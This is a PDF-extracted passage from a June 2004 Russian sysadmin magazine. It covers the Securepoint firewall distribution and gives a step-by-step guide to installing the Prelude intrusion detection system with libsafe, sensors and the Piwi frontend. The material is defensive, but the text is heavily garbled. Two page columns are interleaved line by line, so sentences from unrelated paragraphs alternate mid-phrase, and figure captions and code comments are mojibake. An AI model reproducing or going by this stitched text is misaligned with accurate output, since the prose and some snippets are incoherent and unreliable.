создания межсетевого экрана корпоративного
(enterprisewide) уровня. Но мало того, что Securepoint, как и Установка
положено, предохраняет внутреннюю сеть от атак извне, но Скачиваем по ссылке ISO-образ дистрибутива размером
с его помощью можно легко отделить части внутренней сети 245 Мб (версия securepoint-3.1.3p3.iso). Можно не спешить
друг от друга и определить индивидуальные правила защи- сразу тянуть остальные приложения, документы и патчи,
ты для каждого сегмента, создать и управлять туннелями доступные на странице закачки, т.к. большая часть име-
VPN для защиты трафика удаленных сетей и пользовате- ется уже в указаном образе и вы зря потеряете время.
лей, ведение логов и предупреждений. При этом перена- Каталоги CD-ROM имеют такую структуру:

30
безопасность
! basic – архивы с основной системой; дим ./install.sh, после чего следуем за инструкциями на
! isolinux – загрузочный образ; экране. После чего перезагружаем систему.
! intrusion_detection_system – сервер и клиент Nuzzler Последующее конфигурирование возможно проводить
Intrusion Detection System; двумя способами (не считая непосредственного редакти-
! opt – архивы с Securepoint Firewall & VPN Server, AntiVir рования конфигурационных файлов). Первый, находясь в
virus scanner, Trendmicro VirusWall, утилиты конфигу- системе, при помощи скрипта conf.sh, который лежит в
рирования; /opt/securepoint3.0/bin (рис. 1). Но более удобно и нагляд-
! tools – утилиты под Windows: diskwriter (для создания но особенно для новичков будет настройка при помощи
загрузочной дискеты), Nuzzler Intrusion Detection System клиента Securepoint Security Manager, работающего под
Basic Edition, Securepoint Network Test Tool, в папке управлением Windows 98, NT, XP и 2000. Ставим програм-
securepoint_client клиент для удаленной настройки му, как обычно нажав setup.exe, после чего в меню «Пуск»
Securepoint (в подкаталоге samples найдете заготов- появятся еще два приложения: сам Securepoint Security
ки) и SSH Sentinel VPN client; Manager и Bitcount calculator, предназначенный для пере-
! update – приложения для обновления Securepoint с вер- расчета маски сети в битовую маску и наоборот. Запуска-
сий 2.x и 3.x до 3.1.3. ем (рис. 2).

СD-ROM является загрузочным, поэтому выставляем


в BIOS необходимые параметры и загружаемся. Установ-
ка полностью проходит в графическом режиме во
framebuffer. Предстоит пройти всего четыре шага. На пер-
вом спрашивается keymap, хотя имеется и ru, но, навер-
ное, лучше выставить us во избежание проблем, и нажима-
ем Start. Далее предлагается выбрать язык, к сожалению,
выбирать приходится только между английским и немец-
ким. И лицензию Securepoint Office, Business, Рrofessional.
В зависимости от выбраной лицензии на следующем шаге
будет доступно разное количество сетевых интерфейсов
для конфигурирования (от 2 до 16), а также доступность
продвинутых опций вроде VPN. И попадаем в следующее
окно конфигурации, где предлагается в нескольких вклад- Ðèñóíîê 1
ках настроить параметры системы.
В «Default Configuration» выбираем пакеты – Firewall
(Securepoint firewall & VPN), VirusWall (ftp/http(s)/smtp
VirusScanner), Mailgate (E-mail VirusScanner) и Config
(console configuration firewall), файловую систему (ext2/
ext3/ReiserFS) и Software RAID при наличии двух дисков.
Во вкладке «Network Configuration» настраиваем се-
тевые интерфейсы (Ethernet, TokenRing, Adsl, ISDN), вво-
дим IP-адрес, Bitcount (битовую маску сети, например,
255.255.255.0 – 24) и вручную выбираем драйвер сете-
вой карты из списка. На первом сетевом интерфейсе ука-
зываются параметры внешней сети, на втором внутрен-
няя сеть и остальные DMZ. И в «Global Setting» вводим Ðèñóíîê 2
name (имя компьютера), Getaway admin IP (IP-адрес внут- Вводим пароль для доступа, выбираем из выпадаю-
ренней сети, с которой будет удаленно управляться ком- щего списка нужный сервер, если список пустой, то вво-
пьютер) и пароль для доступа. дим атрибуты серверов (имя, IP-адрес, порт по умолча-
В окне «Driver Help» можно получить помощь в выборе нию – 11112), логин и пароль для первого доступа admin/
драйвера к своей сетевой карте. Надо отметить, что если admin. Обратите внимание на возможность работы без
вы неправильно укажете драйвер, то установка продол- подключения к серверу, что очень удобно и безопасно, для
жена не будет. На этом все. После окончания процесса этого устанавливаем галочку напротив «offline mode».
копирования компьютер перезагружаем. Появляется главное окно утилиты (рис. 3). Для облегчения
настройки разработчиками подготовлено 6 конфигураци-
Последующая настройка онных файлов beginner1[-6].isf, которые можно найти в под-
При необходимости обновить систему, монтируем CD- каталоге samples дистрибутива программы (в documents
ROM с дистрибутивом. найдете документацию по дистрибутиву и whitepapers):
! Easy Internet configuration – beginner1.isf.
#mount /dev/hdd /mnt/cdrom ! Static NAT configuration with web server in DMZ1 –
beginner2.isf.
Заходим в каталог update cd /mnt/cdrom/update и вво- ! Proxy server configuration – beginner3.isf.

№6(19), июнь 2004 31


безопасность
! VPN PPTP server / roadwarrior configuration – beginner4.isf. гин для отфильтровки спама и контекстные фильтры, по-
! VPN IPSec server / roadwarrior configuration – beginner5.isf. зволяющие блокировать нежелательный трафик, обеспе-
! AntiVir virus scanner configuration – beginner6.isf. чивая таким образом возможность защитить интеллекту-
альную собственность компании и конфиденциальную ин-
Выбираем близкий по назначению и открываем через формацию. Для установки заходим в /opt/trendmicro и за-
File – Open пароль для доступа test. Теперь приводим к сво- пускаем ./isinst, после чего следуем за инструкциями на
им данным: изменяем IP-адреса на используемые, добав- экране, все настройки расписаны в файле readme_linux.txt.
ляем хосты, сети и свои правила. Все действо происходит Настроить затем его можно при помощи веб-интерфейса.
в довольно понятных диалогах (рис. 4), и, зная необходи- В /opt/avmailgate-2.0.0.6-Linux-glibc найдете AntiVir Mail-
мые параметры, настроить сеть можно без проблем. Так, в Gate, которую также необходимо установить, запустив
пункте Modify изменяем правила настройки firewall и в скрипт avinstall.pl. Поддерживается сканирование email,
Network Topology просматриваем все известные компью- http, ftp и файлов. Антивирус совместим со многими Mail
теры (рис. 5), выбрав Options, получаем возможность на- Transport Agents (MTA) вроде sendmail, postfix, qmail, exim.
строить сам сервер (рис. 6). В меню «Reports» доступно не- Работа идет по принципу промежуточного накопления,
сколько пунктов, позволяющих автоматически проанали- когда программа аvgated получает почту и хранит ее в
зировать системные и squid лог-файлы, получить инфор- промежуточном каталоге, а avgatefwd просматривает
мацию о трафике и протестировать соединение. Програм- файлы, и если не находит в них ничего подозрительного,
ма будет работать в течение 30 дней, далее необходимо то переправляет файл дальше. Если же будет найден ви-
зарегистрироваться на http://register.securepoint.cc, как и рус, то будет отправлено сообщение по адресу, указанно-
другие утилиты под Windows-систему. му в файле /opt/avmailgate-2.0.0.6-Linux-glibc/avmailgate/
etc/antivir.conf. Для частных пользователей лицензия бес-
Кратко о настройке других приложений платна, но ее необходимо обновлять раз в год, и модифи-
Все дополнительные программы, выбранные при установ- кации доступны реже, чем для платных пользователей.
ке системы в пункте «Default Configuration», находятся в И наконец система Securepoint Intrusion Detection
каталоге /opt и требуют отдельного вмешательства для System, позволяющая просматривать трафик, приходящий
своего запуска. Так, 30-дневная демоверсия InterScan из внешний сети, а также установить датчики внутри всех
VirusWall System, кроме возможности по защите от вирусов контролируемых сетей. К использованию предлагаются
и другого злонамеренного кода, просматривает SMTP-, коммерческий Nuzzler Server Edition, стоящий 99 евро, и
HTTP- и FTP-трафик. И дополнительно включает, кроме свободный Basic Edition, для активации которого доста-
всего прочего, и eManager, представляющий собой пла- точно получить у компании ключ.

Ðèñóíîê 3

32
безопасность
Nuzzler может обнаруживать возможные атаки, виру-
сы, trojans и т. п. Основная постановка включает более
чем 1500 правил для различных категорий, к которым вы
можете сами прибавлять новые правила и изменять ста-
рые, имеет интегрированную sniffer-систему, показываю-
щую в реальном времени каждый блок данных (TCP, UDP
и ICMP), не сохраняя его в журнал.
Вот в принципе и все. В документации все подробно
расписано. Вывод, я думаю, очевиден. Securepoint пред-
ставляет собой удобное и законченное решение, позво-
ляющее легко создавать сети любых конфигураций и сле-
дить за их безопасностью. Наличие же некотрых необяза-
тельных платных составляющих только добавляет плюсов
к имиджу дистрибутива. Ðèñóíîê 4

Ðèñóíîê 5

Ðèñóíîê 6

№6(19), июнь 2004 33


безопасность

ПРЕЛЮДИЯ ДЛЯ ЗАЩИТЫ

В предыдущем номере журнала в статье


«Централизованное обнаружение
вторжения с Samhain» была затронута
возможность компилирования датчиков
host-based intrusion detection system
Samhain как датчиков другой IDS – Prelude.
Как мне кажется, в последней сочетается
довольно много положительных качеств,
чтобы обратить на эту IDS пристальное
внимание.

СЕРГЕЙ ЯРЕМЧУК
34
безопасность
Проект начат в 1998 году (одновременно с началом раз- и buffer overflow, проверяя запросы к потенциально
работки Snort), основной его целью было создание модуль- опасным вызовам вроде sprintf, strcpy, wcscpy и пыта-
ного сетевого IDS, но очень скоро разработчики поняли, ется обнаружить попытку переполнения буфера; если
что за технологиями все равно не угнаться, и пересмотре- таковое обнаруживается, то выполнение опасной про-
ли свои подходы и требования к обеспечению безопасно- граммы прерывается. Учитывая, что библиотека, в об-
сти систем. В результате Prelude представляет собой пол- щем, справляется со своим назначением, а системные
нофункциональную, т.н. гибридную, IDS. Она разрабаты- расходы незначительны, то ее можно рекомендовать к
валась прежде всего для работы на компьютерах под уп- применению.
равлением GNU/Linux, но поддерживаются также и *BSD- ! Prelude-manager – предназначен для централизован-
системы, как и другие POSIX-совместимые системы, рас- ного сбора данных, поступающих от всех датчиков, вы-
пространяется свободно по лицензии GPL. Суть гибрид- дачи данных подсистеме, реагирующей на событие, и
ности Prelude заключается в том, что контролируются не сохранение данных ( MySQL, PostgreSQL, Oracle, XML,
только события, происходящие в сети, но и то, что творит- plain-текст). В сети может быть несколько manager.
ся на локальных компьютерах, что, с одной стороны, по- ! Counter Measure Agents – исполнительня часть, полу-
вышает вероятность обнаружения попытки вторжения, а чает данные относительно выявленной аномалии от
с другой – уменьшает общее количество разнородных manager и принимает меры по остановке нежелатель-
приложений, с которыми придется иметь дело системно- ных действий.
му администратору. Домашняя страница проекта: http:// ! frontends – для централизованного удобного просмот-
www.prelude-ids.org. ра собранных данных, выявления неисправностей, по-
Состоит Prelude из нескольких частей: зволяет просто администрировать и способствует по-
! Сенсоры – основная часть всей системы обнаружения, ниманию текущего состояния дел защиты. В этом ка-
развертываются на нескольких системах, чья безопас- честве выступают P(erl|relude) IDS Web Interface и
ность контролируется. Они собирают всю информацию Prelude-php-frontend. Внешний интерфейс, написанный
и сообщают администратору в случае обнаружения на Perl и РНР соответственно, предназначен для про-
аномалий. смотра данных, собранных Prelude и занесенных в базу
! LibPrelude – клей, связывающий все части вместе, пре- данных.
доставляет единый интерфейс стандартных вызовов
IDMEF, основанный на XML, позволяет легко создавать Но это еще не все. Кроме упомянутых возможностей в
сторонним разработчикам продукты «Prelude Aware». качестве сенсоров после наложения соответствующих пат-
Используется всеми модулями Prelude. чей могут выступать Snort, Nessus, Nagios, Argus, Honeyd,
! Prelude-nids – датчик сетевой системы обнаружения SysTrace, Bro IDS, Hogwash и планируется AIDE. Также на-
атак, который ищет знакомые сигнатуры в проходящих помню, что датчики Samhain, которые позволяют контро-
по сети пакетах. В одной сети достаточно иметь один лировать довольно большое количество аномалий на хос-
такой сенсор, поэтому его можно установить, напри- тах, могут быть скомпилированы с библиотекой LibPrelude,
мер, на сервер. По своей функциональности эквива- выступая тем самым и сенсором Prelude IDS. Все осталь-
лентен Snort. ные возможности (в том числе и планируемые) Prelude
! Prelude-lml – Prelude Log Monitoring Lackey – еще один IDS в виде удобных для восприятия таблиц представлены
датчик, на этот раз контролирующий логи. В случае по- в документе «Prelude Feature Matrix» (http://www.prelude-
явления подозрительных записей отправляет уведом- ids.org/rubrique.php3?id_rubrique=24). Мы же пойдем далее.
ление, является обязательным при использовании host-
based IDS-части. Может быть сконфигурирован как для Установка Prelude IDS
просмотра локальных лог-файлов, так и работать в сете- Все основные компоненты для установки можно найти на
вом режиме, контролируя поступающие по сети данные. странице http://www.prelude-ids.org/rubrique.php3?id_rub-
В последнем случае он может работать со всеми syslog- rique=6 в разделе Download Latest Version или Download
совместимыми данными, поступающими от firewall, Latest Snapshots. Как минимум потребуются пакеты
маршрутизаторов, принтеров, других UNIX-систем и си- libprelude, prelude-manager, prelude-nids, prelude-lml и Piwi.
стем, которые могут преобразовать свои данные к тре- Дополнительно можно здесь же по ссылкам скачать и
буемому формату (например, Windows NT/2K/XP – Libsafe, для работы с OpenBSD pf понадобится prelude-
Ntsyslog – http://ntsyslog.sourceforge.net/). Построенный pflogger, а также патчи к соответствующим программам
на PCRE (Perl Compatible Regular Expressions), состоит для реализации «Prelude aware»:
из плагинов, каждый из которых отвечает за анализ ! Snort – Prelude reporting patch;
данных, поступающих от определенной программы, ! Honeyd – Prelude reporting patch;
или утилиты: IpFw, IpChains, NtSyslog, GRSecurity, Exim, ! Systrace – Prelude reporting patch;
Portsentry, SSH, Squid и других. ! Nessus – Prelude reporting patch.
! Libsafe – датчик, работающий только на Linux-систе-
мах, автоматически подхватывается Prelude при уста- Но это то, что сразу в глаза бросается; если посмотреть
новленной в системе библиотеке libsafe (http:// на столбик слева, то там найдете еще интересную колонку
www.research. avayalabs.com/project/libsafe). Эта биб- «Contributed Software», в которой найдете еще несколько
лиотека позволяет защититься от атак типа format string патчей и расширений к Prelude (отправка алертов по e-mail,

№6(19), июнь 2004 35


безопасность
сбор статистики, патчи к Nessus, Nagios, Honeyd, Bro IDS, Совет установить переменную LIBPRELUDE_CONFIG
convert_ruleset – скрипт, конвертирующий правила Snort не помог. Необходимо, чтобы место расположения файла
(http://www.snort.org/downloads/snortrules.tar.gz), в правила, libprelude-config было видно из переменной PATH.
понятные Prelude NIDS, и другие полезности).
Проверить скачанные пакеты можно, взяв ключ с: #PATH=$PATH:/usr/local/bin/
#export PATH
# gpg --keyserver wwwkeys.pgp.net --recv-keys 0x23D2FAC3 В конце отчет.

Если все нормально, то можно начинать. По ссылкам


можно скачать и прекомпилированные rpm-пакеты, со-
бранные под RedHat 7.3 – 9.0, в которых найдете даже
nessus, заточенный под Prelude. Установка их заключает-
ся в основном в стандартном rpm -i *.rpm, но в дальней-
шем у меня возни с ними было больше, поэтому будем Конфигуратор сам найдет установленные в системе
затачивать все под свою систему, самостоятельно соби- приложения, поэтому никаких опций первоначально мож-
рая из исходников (тем более это не так уж и трудно). Для но и не задавать, только в случае нестандартного место-
поклонников Gentoo необходимые для сборки ebuild-фай- нахождения требуемых утилит и приложений.
лы найдете в архиве piwi. И переходим к построению датчиков. Датчики могут
Для начала скачиваем и ставим libsafe, которая, начи- быть установлены как на той же машине, что и prelude-
ная с версии 2.11, может быть скомпилирована как дат- manager, так и разбросаны по всем машинам в сети. При
чик Prelude. Здесь все просто. этом во избежание дублирования в одной сети необходи-
мо установить один датчик prelude-nids, а во избежание
#make засорения лишними пакетами лучше его приткнуть на тот
же компьютер, что и prelude-manager. Хотя, по большому
После окончания компиляции вводим: счету, поступайте как вам удобнее, только помните, что
сетевые датчики должны контролировать не только паке-
#make install ты, поступающие из внешней сети, но и, чтобы пресечь
действия некоторых «умников», стоять и во всех внутрен-
них сетях.
Теперь связываем переменную LD_PRELOAD с библио- Действия и проблемы при установке prelude-nids и
текой: prelude-lml аналогичны предыдущим.
После установки приступаем к конфигурированию. Все
LD_PRELOAD=/lib/libsafe.so.2 конфигурационные файлы после установки помещаются
export LD_PRELOAD
каждый в свой подкаталог в /usr/local/etc.
И заносим эти строки в файл /etc/profile. Но для начала создадим базу данных:
В файле /etc/ld.so.preload также желательна такая стро-
ка: /lib/libsafe.so.2. #/usr/local/bin/prelude-manager-db-create.sh
Теперь устанавливаем libprelude:
Команда задаст семь вопросов о паролях, пользова-
#tar xvzf libprelude-0-8-latest.tar.gz телях и других параметрах, необходимых при создании
#cd libprelude
#./configure новой базы данных, после чего выдает общий результат и
после получения согласия попробует соединиться с выб-
ранной СУБД и создает новую базу данных.
Если все прошло удачно, можно запускать менеджер:
Библиотека автоматически компилируется с поддер-
жкой OpenSSL и требует наличия библиотек и заголовоч- #prelude-manager --mysql --dbhost localhost ↵
--dbname prelude --dbuser prelude --dbpass xxxxxx
ных файлов. Из дополнительных опций стоит отметить
enable-gtk-doc для формирования документации. Или лучше изменить секцию MySQL в конфигурацион-
ном файле /usr/local/etc/prelude-manager/prelude-manager.conf,
#make воспользовавшись выводом утилиты:
#make install

После чего аналогично устанавливаем prelude- [MySQL]


manager. После конфигурирования возможно появление # Host the database is listening on.
такой ошибки. dbhost = localhost;
# Port the database is listening on.
dbport = 3306;
# Name of the database.
dbname = prelude;
# Username to be used to connect the database.
dbuser = prelude;
# Password used to connect the database.
dbpass = xxxxxx;

36
безопасность
Не забудьте только вставить пароль вместо хххххх.
Для того чтобы указать на интерфейс, где менеджер
будет ожидать подключения сенсоров в файле prelude-
manager.conf, изменяем параметр sensors-srvr, в котором
указываем нужный IP-адрес. Теперь можно приступать к
регистрации сенсоров. Этот процесс в Prelude хоть и мо-
жет забрать изрядное количество времени при большом Если manager-adduser уже запущен, то смело жмем на
их количестве, но все таки удобен и понятен и не требует Enter и два раза вводим выданные им одноразовые пароли.
особых и лишних телодвижений. Да, и не забудьте разре-
шить iptables пропускать эти пакеты.
Для регистрации сенсора на сервере запускаем ути-
литу manager-adduser, которая будет ждать подключения
нового клиента, для допуска которого будет выдан на кон-
соль одноразовый пароль. А на клиентском компьютере
параллельно запускается sensor-adduser с указанием на-
звания регистрируемого сенсора и узла, где находится
менеджер.

# manager-adduser В окне manager-adduser увидим для локального сен-


сора такое сообщение.

После чего он заканчивает свою работу.


Единcтвенное, что может сбить с толку, – это запра-
шиваемое имя пользователя. В документации сказано, что
это имя предназначено для внутреннего употребления и
не должно совпадать с учетной записью в определенной
системе. Других ограничений я не нашел. На этом регис-
трация сенсора и заканчивается. Это все действия, кото-
рые вам нужно будет проделать, для того чтобы libsafe
сообщал Prelude IDS о проблемах. Все конфигурации сен-
соров сохраняются в /usr/local/etc/prelude-sensors/. Для уда-
Примечание: все, что программа вывела выше, появит- ленного сенсора меняем только IP-адрес. Например, сен-
ся только при первом запуске и требуется для генерации сор host-based IDS Samhain, об установке которого я пи-
ключей. Как видите, можете указать требуемую длину клю- сал в предыдущем номере журнала и имеющий довольно
ча и время устаревания ключа (0 – без устаревания). продвинутые возможности по детектированию локальных
Ниже – сообщения, относящиеся непосредственно к аномалий.
регистрации сенсора.
#sensor-adduser --sensorname samhain --uid 0 ↵
--manager-addr 192.168.1.20

Вот и наш пароль.

Все, программа ждет подключения сенсора. Порядок Обратите внимание: здесь не требуется вручную за-
регистрации сенсоров значения не имеет, начнем, навер- водить пользователя и давать пароль, система генериру-
ное, с libsafe. ет ключ.
На компьютере, сенсор которого вы регистрируете,
вводим такую команду:

# sensor-adduser -s <òèï_ñåíñîðà> ↵
-m <IP-àäðåñ_ìåíåäæåðà> -u <UID_ïîëüçîâàòåëÿ>

В случае с локальным сенсором эта строка будет выг-


лядеть так:

# sensor-adduser -s libsafe -m 127.0.0.1 -u 0

№6(19), июнь 2004 37


безопасность
неджером x.x.x.x:port, если это не получится, то с y.y.y.y и
z.z.z.z, а если и эта попытка не увенчается успехом, то
данные будут сохранены локально. Для lml-сенсора вce
правила находятся /usr/local/etc/prelude-lml/ruleset/, узнать,
какие из них задействованы, можно в файле simple.rules в
строках include. Для ускорения работы можно закомменти-
ровать лишние, а новые, скачанные по ссылкам, здесь же
А в окне manager-adduser увидим такое сообщение. подключить (например, от Exaprobe http://www.exaprobe.com/
labs/downloads), второй вариант создать свой файл с пра-
вилами и прописать его в prelude-lml.conf в блоке
[SimpleMod] в строке ruleset, указав на новый файл с пра-
вилами. Аналогично все правила для nids-сенсора пропи-
саны в /usr/local/etc/prelude-nids/ruleset/simple.rules. Запус-
каем сенсоры.

# prelude-nids -i eth0
Для остальных сенсоров действия аналогичны:
Запускаем опять на сервере manager-adduser и полу-
чаем новый одноразовый пароль.
При помощи sensor-adduser регистрируем новый сен-
сор. Для остальных входящих в комплект сенсоров строка
запуска будет иметь такой вид (для локальных сенсоров). Ага, забыли завести пользователя prelude. Можно по
первой, при тестировании запустить от имени root (опция
# sensor-adduser -s prelude-nids -m 127.0.0.1 -u 0 -u root), но в остальных случаях делаем как положено.
Поэтому командой заводим пользователя prelude и при
регистрации сенсоров не забываем указывать его uid.
# sensor-adduser -s prelude-lml -m 127.0.0.1 -u 0
#groupadd prelude
#adduser --no-create-home --disabled-password --quiet ↵
--ingroup prelude prelude
Если локальные сенсоры (т.е. по IP – 127.0.0.1) можно
удаленно регистрировать, зайдя на компьютер при помо- Пробуем еще раз.
щи SSH, то регистрация удаленных сенсоров таким обра-
зом сильно затягивается, да и с безопасностью могут воз- # prelude-nids -i eth0
никнуть проблемы.
Теперь можно запускать, а заодно и проверить под-
ключения. На сервере запускаем.

# prelude-manager

Теперь очередь сенсоров. Libsafe подхватывается ав-


томатически, а поэтому после регистрации можно о нем
забыть. Остались два prelude-lml и prelude-nids. Указать
параметры их запуска можно двумя способами: в строке В это время в окне терминала, в котором запущен
запуска и в конфигурационных файлах (usr/local/etc/prelude- prelude-manager, должно появиться такое сообщение.
lml/prelude-lml.conf и /usr/local/etc/prelude-nids/prelude-
nids.conf). Синтаксис их понятен и хорошо комментирован,
для начала достаточно в обеих указать в строке manager-
addr IP-адрес менеджера. При этом возможна запись та- Обратите внимание на последние цифры: они соответ-
кого вида: ствуют выданным программой при регистрации этого сен-
сора.
manager-addr = x.x.x.x:port || y.y.y.y && z.z.z.z С lml поступаем аналогично.

При этом сенсор попытается соединиться сначала с ме- # prelude-lml -u root

38
безопасность

После тестирования запускаем все приложения в ка-


честве демонов.

# prelude-manager -d

# prelude-lml -d

# prelude-nids -i eth1 -d

И так далее. Для автоматического запуска при старте


системы создайте отдельный файл (например, rc.prelude)
и пропишите строки для его запуска в /etc/rc.d/rc.local или
/etc/rc.d/boot.local для SUSE. Теперь для тестирования
можно посканировать сеть при помощи nmap или восполь-
зоваться утилитами IDSwakeup (http://www.hsc.fr/res-
sources/outils/idswakeup/download/) или nidsbench (http://
www.anzen.com/research/nidsbench/), специально предназ-
наченными для испытания NIDS.
Теперь смотрим, что творится в лог-файлах. Кроме за-
писи в базу данных текстовые логи ведутся в файле /var/ Для немедленных уведомлений по почте используйте
log/prelude.log и в формате XML в /var/log/prelude-xml.log. Perl-скрипт alert2mail (http://www.prelude-ids.org/download/
Там находим следующее. contribs/alert2mail). Использовать его просто, но потребу-
ется модуль MIME::Lite.
Первой строкой добавляем:

#! /usr/bin/perl

в строке From =>’root at localhost’ ставим необходимый


e-mail, и при желании можно русифицировать сообщения.
Теперь запускаем, скрипт будет считывать новые дан-
ные, поступающие в лог-файл (tail -f /var/log/prelude.log), и
Это забилось сердце сенсора NIDS. А ниже то, что он анализировать их, при появлении опасных строк админи-
выловил в результате нашего испытания. При этом систе- стратору будет выслан e-mail.
ма пытается собрать максимальную информацию об Другой скрипт http://www.prelude-ids.org/download/contribs/
объекте возмущения, в том числе и пытается определить prelude-stats-pl.txt позволяет собирать статистику на ос-
удаленную операционную систему. новании данных, найденных в /var/log/prelude.log. Чтобы
не перегружать слишком сеть сообщения от одиночных
сенсоров или удаленных групп сенсоров, возможно ис-
пользование т.н. Relay Manager, которые собирают инфор-
мацию от своей группы, а затем переправляют по цепоч-
ке центральному менеджеру.
В файле prelude-manager.conf за их активацию отве-
чают два параметра, в которых требуется указать соот-
ветствующий IP-адрес(a): admin-srvr и relay-manager (в
данном случае это следующий в цепочке Relay Manager,
которому переправлять информацию).

№6(19), июнь 2004 39


безопасность
Ставим интерфейс А Mandrake, ALTLinux и Gentoo это будет другая строка.
Все это хорошо, но при большом количестве данных луч-
ше анализировать их при помощи выборок из базы дан- #chown -R apache.apache generated/
ных. Хотя, кстати, имеется документ, рассказывающий,
как сделать просмотр без фронтенда при помощи Internet В общем, при наличии проблем с доступом проверьте
Explorer: http://orbital.wiretapped.net/~technion. все еще раз. Далее в подкаталоге Functions в файле
Совсем недавно на сайте появился GUI-инструмент config.pl исправьте параметры доступа к базе данных (в
Prelude GTK2 Frontend, который не хочет компилировать- самом верху файла), вставьте туда значения, введенные
ся нормально. В документации имеется упоминание на при работе скрипта prelude-manager-db-create.sh.
PHP, ncurses и java-фронтендах, но ссылок на сайте не Примерно так.
нашел. Поэтому основным и довольно удобным сред-
ством просмотра и анализа результатов выступает Piwi – # Database :
# çäåñü âûáèðàåì èñïîëüçóåìóþ áàçó äàííûõ mysql èëè Pg
P(erl|relude) IDS Web Interface, позволяющий просматри- $conf{'dbtype'} = 'mysql';
вать листинги предупреждений, в том числе и детально # èìÿ ðàííåå ñîçäàííîé áàçû äàííûõ
$conf{'dbname'} = 'prelude';
их сортировать, выводить информацию о IP- и MAC-ад- # óçåë, ãäå èñêàòü áàçó äàííûõ
ресах, операционной системе, проводить статистику атак $conf{'dbhost'} = 'localhost';
# ýòî äëÿ mysql, äëÿ PostgreSQL èñïîëüçóéòå 5432
по дням, часам, top 10 атак и атакующих и прочее, плюс $conf{'dbport'} = 3306;
возможность самостоятельного поиска при помощи ре- # (òîëüêî äëÿ mysql)
$conf{'dboptions'} = 'mysql_compression=1';
гулярных выражений. Установка piwi сложностей не пред- $conf{'dblogin'} = 'prelude';
ставляет. $conf{'dbpasswd'} = 'õõõõõõ';
Для работы нам понадобятся (большинство, наверное,
уже имеется, если нет, то придется установить, работать Теперь даем указание Apache на местонахождение ис-
однозначно не будет): mysql или PostgreSQL, Аpache, не полняемого файла. Например:
имеет значения какой – 1.3.x или 2.x, Perl от 5.6.x, DBI и
DBD модули (DBD::mysql v2.9002 не работает), для вывода <Directory "/var/www/htdocs/piwi/">
Options +ExecCGI
даты Date::Calc (http://search.cpan.org/author/STBEY). Опци- AddHandler cgi-script .pl
онально могут пригодиться Geo::IP (http://www.maxmind.com/ </Directory>
app/linux) для вывода страны по IP-адресу, для вывода гра-
фики GD, GD::Text, GD::Graph и GD::Graph3d (http:// Это в общем случае, но если не поленились устано-
www.boutell.com, http://stein.cshl.org/WWW/software/GD, http:// вить Perl-модуль Apache::DBI и mod_perl для Apache, то
search.cpan.org/ author/MVERB), для генерации отчетов в пишем так.
форматах ps и pdf: ghostscript и PDF::API2, и для эффек-
тивной работы веб-сервера с perl и базой данных mod_perl PerlModule Apache::DBI
(http://perl.httpd.org) и Apache::DBI (http://search.cpan.org/ <Files *.pl>
author/ABH). SetHandler perl-script
PerlHandler Apache::PerlRun
Также рекомендуется Prelude компилировать с недавно PerlSendHeader On
появившейся библиотекой LibPreludeDB (http://www.prelude- </Files>
ids.org/download/snapshots/trunk/libpreludedb-trunk-
latest.tar.gz), но это необязательно, да и ее компиляция И добавляем к директиве DirectoryIndex через пробел
вызывает пока только муки. файл index.pl.
Теперь, если все необходимое скачано и установлено,
просто распаковываем архив в корневой каталог веб-сер- DirectoryIndex index.html index.htm index.pl
вера.
Например для Slackware (в SUSE все серверные ката- Причем разработчики не рекомендуют использовать в
логи найдете в /srv). данном случае директиву ScriptAlias.
Все, теперь перезапускаем Apache.
# cd /var/www/htdocs/
# tar -xzvf /path/to/piwi-0-8-latest.tar.gz # /etc/rc.d/apache2 restart
Теперь пользователя, от имени которого работает
Apache, делаем хозяином подпапки generated.

#chown -R nobody.nobody generated/ И пытаемся попасть на требуемую страницу. Если что-


то не выходит, проблемы как всегда найдете в /var/log/
Здесь обратите внимание, что в разных дистрибути- apache2/error_log. Например, такая запись свидетельству-
вах Apache выполняется от пользователей с разными име- ет о том, что скрипт не может присоединиться к MySQL.
нами.
Так в том же SUSE строка будет выглядеть так.

#chown -R wwwrun.nogroup generated/

40
безопасность
Поэтому проверяем, не забыли ли вообще запустить Если вы поддались статьям Павла Заклякова и настро-
MySQL (# ps aux | grep mysql). И проверяем еще раз все или Snort, то ничего страшного, наложив патч http://
записи, сделанные в конфигурационных файлах. www.prelude-ids.org/download/releases/snort-prelude-reporting-
Для тестирования установок предназначена страница patch-latest.tar.gz и пересобрав его, можно затем использо-
$piwi_directory/test/index.pl, сюда же попадете и в том слу- вать его как сенсор NIDS и отказаться совсем от установки
чае, если не будут найдены обязательные компоненты, prelude-nids (зачем два аналогичных по функциональности
здесь получите всю информацию о текущих проблемах. сенсора). Если же со Snort еще не сложилось, то, наверное,
Для ограничения доступа (необходимую информацию най- самым удобным вариантом будет конвертация правил Snort
дете в piwi/Docs/user_file_format.txt) к данным используют- в правила Prеlude NIDS, подключение их к системе и можно
ся файлы, находящиеся в поддиректории Profiles/ с назва- использовать таким образом все наработки обеих команд.
нием вида: имя_пользователя.user, т.е. на каждого пользо- Патч к honeypot-системе honeyd (http://www.citi.umich.edu/
вателя один файл. По умолчанию там находятся два та- u/provos/honeyd, и патч http://www.rstack.org/oudot/prelude/
ких файла: admin.user и guest.user, чего достаточно в боль- honeypots/files) позволяет собирать и в удобной форме ана-
шинстве случаев. Параметров немного, сейчас достаточ- лизировать информацию о действиях нападающей сто-
но изменить лишь один – IPAccess, который отвечает за роны, а сама honeypot-система при правильной и осто-
допуск этого пользователя с определенного адреса или рожной организации является неплохой приманкой для по-
адресов. тенциальных взломщиков и к тому же практически не ге-
В качестве значения может быть точный адрес вида нерирует ошибки, поэтому в некоторых случаях является
192.168.1.200 или групповой для доступа из всей сети, на- весьма полезной добавкой.
пример 192.168.255.255 (строка IPAccess=255.255.255.255 И еще один интересный сенсор raprelude (http://
означает доступ с любого адреса). И не будет лишним, www.intrusion-lab.net/tools/raprelude), позволяющий фикси-
если будете использовать файлы .htaccess, .htpasswd или ровать все виды сетевых событий, зарегистрированных
.htdigest и работать по защищенному каналу SSL, но на демоном argus (http://qosient.com/argus). При помощи его
этом я останавливаться не буду. По адресу http:// можно отобрать весь трафик, идущий к определенному
www.giggled.org.uk/piwi_custom.html найдете документ, в сервису на определенном компьютере или, например, на-
котором описано, как расширить возможности piwi по сор- рушающий правила firewall.
тировке IP-адресов. Для обнаружения аномалий в Wi-Fi 802.11 сетях пред-
назначен появившийся совсем недавно сенсор WlanDetect
Расширеное использование Prelude (http://www.security-labs.org/wlandetect), определяющий на
Хотел было уже заканчивать статью, но, перечитав все момент написания статьи 10 возможных нарушений.
